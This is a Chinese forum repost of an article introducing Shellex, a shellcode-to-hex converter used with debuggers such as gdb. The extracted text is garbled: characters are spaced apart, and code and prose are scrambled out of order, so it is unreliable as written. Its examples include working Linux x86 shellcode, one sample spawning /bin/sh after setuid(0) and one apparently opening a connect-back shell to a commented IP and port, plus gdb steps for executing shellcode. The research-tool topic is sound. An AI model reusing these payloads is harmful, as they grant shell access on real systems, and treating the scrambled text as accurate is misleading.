搜索

[16534] 2021-03-10_Shellex：一款针对shellcode的转换与处理工具

文档创建者：s7ckTeam
浏览次数：39
最后更新：2025-01-18
2021-03-10_Shellex：一款针对shellcode的转换与处理工具 S h e l l e x ： 一 款 针 对 s h e l l c o d e 的 转 换 与 处 理 工 具 A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 3 - 1 0 S h e l l e x S h e l l e x 是 一 款 功 能 强 大 的 C - s h e l l c o d e 转 换 器 ， 可 以 帮 助 广 大 研 究 人 员 将 C - s h e l l c o d e 转 换 为 十 六 进 制 代 码 ， 并 且 能 够 在 g d b 、 w i n d b g 、 r a d a r e 2 、 o l l y d b g 、 x 6 4 d b g 、 i m m u n i t y 调 试 器 和 0 1 0 编 辑 器 中 粘 贴 和 执 行 s h e l l c o d e 。 在 S h e l l e x 的 帮 助 下 ， 广 大 研 究 人 员 可 以 将 C - s h e l l c o d e 代 码 转 换 为 十 六 进 制 代 码 ， 并 且 还 可 以 在 C 编 译 器 中 编 译 时 进 行 转 换 ， 整 个 过 程 只 需 要 执 行 S h e l l e x ， 并 将 s h e l l c o d e 代 码 拷 贝 进 去 并 按 下 回 车 键 即 可 。 比 如 说 ， 我 们 可 以 转 换 多 行 混 合 了 A S C I I 代 码 的 C - s h e l l c o d e （ 注 意 混 合 部 分 x 6 8 / / s h x 6 8 / b i n x 8 9 ） ： S h e l l e x 输 出 如 下 ： 输 出 如 下 ： 转 换 包 含 注 释 代 码 的 转 换 包 含 注 释 代 码 的 C - s h e l l c o d e ： ： S h e l l e x 输 出 如 下 ： 输 出 如 下 ： 如 果 你 需 要 S h e l l e x 输 出 新 的 C - s h e l l c o d e 字 符 串 ， 可 以 使 用 - h 参 数 ， 比 如 说 ： S h e l l e x 安 装 安 装 首 先 ， 广 大 研 究 人 员 需 要 使 用 下 列 代 码 将 该 项 目 源 码 克 隆 至 本 地 ： 针 对 针 对 W i n d o w s ： ： 针 对 针 对 L i n u x ： ： " x 6 a x 1 7 x 5 8 x 3 1 x d b x c d x 8 0 " " x 6 a x 0 b x 5 8 x 9 9 x 5 2 x 6 8 / / s h x 6 8 / b i n x 8 9 x e 3 x 5 2 x 5 3 x 8 9 x e 1 x c d x 8 0 " 6 A   1 7   5 8   3 1   D B   C D   8 0   6 A   0 B   5 8   9 9   5 2   6 8   2 F   2 F   7 3   6 8   6 8   2 F   6 2   6 9   6 E   8 9   E 3   5 2   5 3   8 9   E 1   C D   8 0 " x 6 8 " " x 7 f x 0 1 x 0 1 x 0 1 "     / /   < -   I P :     1 2 7 . 1 . 1 . 1 " x 5 e x 6 6 x 6 8 " " x d 9 x 0 3 "                     / /   < -   P o r t :   5 5 5 5 5 " x 5 f x 6 a x 6 6 x 5 8 x 9 9 x 6 a x 0 1 x 5 b x 5 2 x 5 3 x 6 a x 0 2 " " x 8 9 x e 1 x c d x 8 0 x 9 3 x 5 9 x b 0 x 3 f x c d x 8 0 x 4 9 x 7 9 " " x f 9 x b 0 x 6 6 x 5 6 x 6 6 x 5 7 x 6 6 x 6 a x 0 2 x 8 9 x e 1 x 6 a " " x 1 0 x 5 1 x 5 3 x 8 9 x e 1 x c d x 8 0 x b 0 x 0 b x 5 2 x 6 8 x 2 f " " x 2 f x 7 3 x 6 8 x 6 8 x 2 f x 6 2 x 6 9 x 6 e x 8 9 x e 3 x 5 2 x 5 3 " " x e b x c e " 6 8   7 F   0 1   0 1   0 1   5 E   6 6   6 8   D 9   0 3   5 F   6 A   6 6   5 8   9 9   6 A   0 1   5 B   5 2   5 3   6 A   0 2   8 9   E 1   C D   8 0   9 3   5 9   B 0   3 F   C D   8 0   4 9   7 9   F 9   B 0   6 6   5 6   6 6   5 7   6 6   6 A   0 2   8 9   E 1   6 A   1 0   5 1   5 3   8 9   E 1   C D   8 0   B 0   0 B   5 2   6 8   2 F   2 F   7 3   6 8   6 8   2 F   6 2   6 9   6 E   8 9   E 3   5 2   5 3   E B   C E . / s h e l l e x   - h   6 A   1 7   5 8   3 1   D B   C D   8 0   6 A   0 B   5 8   9 9   5 2   6 8   2 F   2 F   7 3   6 8   6 8   2 F   6 2   6 9   6 E   8 9   E 3   5 2   5 3   8 9   E 1   C D   8 0 x 6 A x 1 7 x 5 8 x 3 1 x D B x C D x 8 0 x 6 A x 0 B x 5 8 x 9 9 x 5 2 x 6 8 x 2 F x 2 F x 7 3 x 6 8 x 6 8 x 2 F x 6 2 x 6 9 x 6 E x 8 9 x E 3 x 5 2 x 5 3 x 8 9 x E 1 x C D x 8 0 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / D a v i d - R e g u e r a - G a r c i a - D r e g / s h e l l e x . g i t s h e l l e x b i n s s h e l l e x . e x e s u d o   a p t - g e t   i n s t a l l   t c c
在 在 g d b 中 复 制 和 执 行 中 复 制 和 执 行 s h e l l c o d e 首 先 ， 我 们 需 要 运 行 S h e l l e x 。 接 下 来 ， 输 入 我 们 的 s h e l l c o d e ： 按 下 回 车 键 后 ， 再 按 下 C o n t r o l + D 键 。 使 用 s h e l l e x   - h 命 令 将 S h e l l e x 输 出 转 换 为 C - H e x 字 符 串 ： 将 C - H e x 字 符 串 以 源 码 形 式 （ 包 含 “ e c h o ” 命 令 ） 写 入 至 文 件 ： 接 下 来 ， 将 源 码 文 件 写 入 当 前 指 令 指 针 。 3 2 位 ： 位 ： 6 4 位 ： 位 ： x / 3 0 b 是 s h e l l c o d e 的 字 节 大 小 ， 我 们 可 以 使 用 下 列 命 令 获 取 到 大 小 值 ： x / 1 5 i 是 显 示 的 指 令 数 量 ， 我 们 可 以 使 用 n d i s a s m 获 取 正 确 的 数 量 ： 3 2 位 ： 位 ： 6 4 位 ： 位 ： 无 交 互 模 式 无 交 互 模 式 在 L i n u x 中 转 换 “ x 6 a x 1 7 x 5 8 x 3 1 x d b x c d x 8 0 ” ： 在 W i n d o w s 中 转 换 “ x 6 a x 1 7 x 5 8 x 3 1 x d b x c d x 8 0 ” ： W i n d o w s 下 写 入 多 行 文 件 ： 下 写 入 多 行 文 件 ： L i n u x 下 写 入 多 行 文 件 ： 下 写 入 多 行 文 件 ： s h e l l e x / l i n u x b i n s / s h e l l e x " x 6 a x 1 7 x 5 8 x 3 1 x d b x c d x 8 0 " " x 6 a x 0 b x 5 8 x 9 9 x 5 2 x 6 8 / / s h x 6 8 / b i n x 8 9 x e 3 x 5 2 x 5 3 x 8 9 x e 1 x c d x 8 0 " s h e l l e x   - h   6 A   1 7   5 8   3 1   D B   C D   8 0   6 A   0 B   5 8   9 9   5 2   6 8   2 F   2 F   7 3   6 8   6 8   2 F   6 2   6 9   6 E   8 9   E 3   5 2   5 3   8 9   E 1   C D   8 0 e c h o   - n e   " x 6 A x 1 7 x 5 8 x 3 1 x D B x C D x 8 0 x 6 A x 0 B x 5 8 x 9 9 x 5 2 x 6 8 x 2 F x 2 F x 7 3 x 6 8 x 6 8 x 2 F x 6 2 x 6 9 x 6 E x 8 9 x E 3 x 5 2 x 5 3 x 8 9 x E 1 x C D x 8 0 "   >   / t m p / s c r e s t o r e   / t m p / s c   b i n a r y   $ e i p x / 3 0 b   $ e i p x / 1 5 i   $ e i p r e s t o r e   / t m p / s c   b i n a r y   $ r i p x / 3 0 b   $ r i p x / 1 5 i   $ r i p w c   - c   / t m p / s c s u d o   a p t - g e t   i n s t a l l   n a s m n d i s a s m   - b 3 2   / t m p / s c n d i s a s m   - b 3 2   / t m p / s c   |   w c   - l n d i s a s m   - b 6 4   / t m p / s c n d i s a s m   - b 6 4   / t m p / s c   |   w c   - l e c h o   " " x 6 a x 1 7 x 5 8 x 3 1 x d b x c d x 8 0 " "   |   s h e l l e x e c h o   " x 6 a x 1 7 x 5 8 x 3 1 x d b x c d x 8 0 "   |   s h e l l e x . e x e C : U s e r s D r e g D e s k t o p s h e l l e x b i n s > t y p e   s c . t x t " x 6 a x 1 7 x 5 8 x 3 1 x d b x c d x 8 0 " " x 6 a x 0 b x 5 8 x 9 9 x 5 2 x 6 8 / / s h x 6 8 / b i n x 8 9 x e 3 x 5 2 x 5 3 x 8 9 x e 1 x c d x 8 0 " C : U s e r s D r e g D e s k t o p s h e l l e x b i n s > t y p e   s c . t x t   |   s h e l l e x . e x e d r e g @ f r 3 3 p r o j e c t #   c a t   s c . t x t " x 6 a x 1 7 x 5 8 x 3 1 x d b x c d x 8 0 " " x 6 a x 0 b x 5 8 x 9 9 x 5 2 x 6 8 / / s h x 6 8 / b i n x 8 9 x e 3 x 5 2 x 5 3 x 8 9 x e 1 x c d x 8 0 " d r e g @ f r 3 3 p r o j e c t #   c a t   s c . t x t   |   s h e l l e x
项 目 地 址 项 目 地 址 S h e l l e x ： 点 击 底 部 【 阅 读 原 文 】 获 取 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理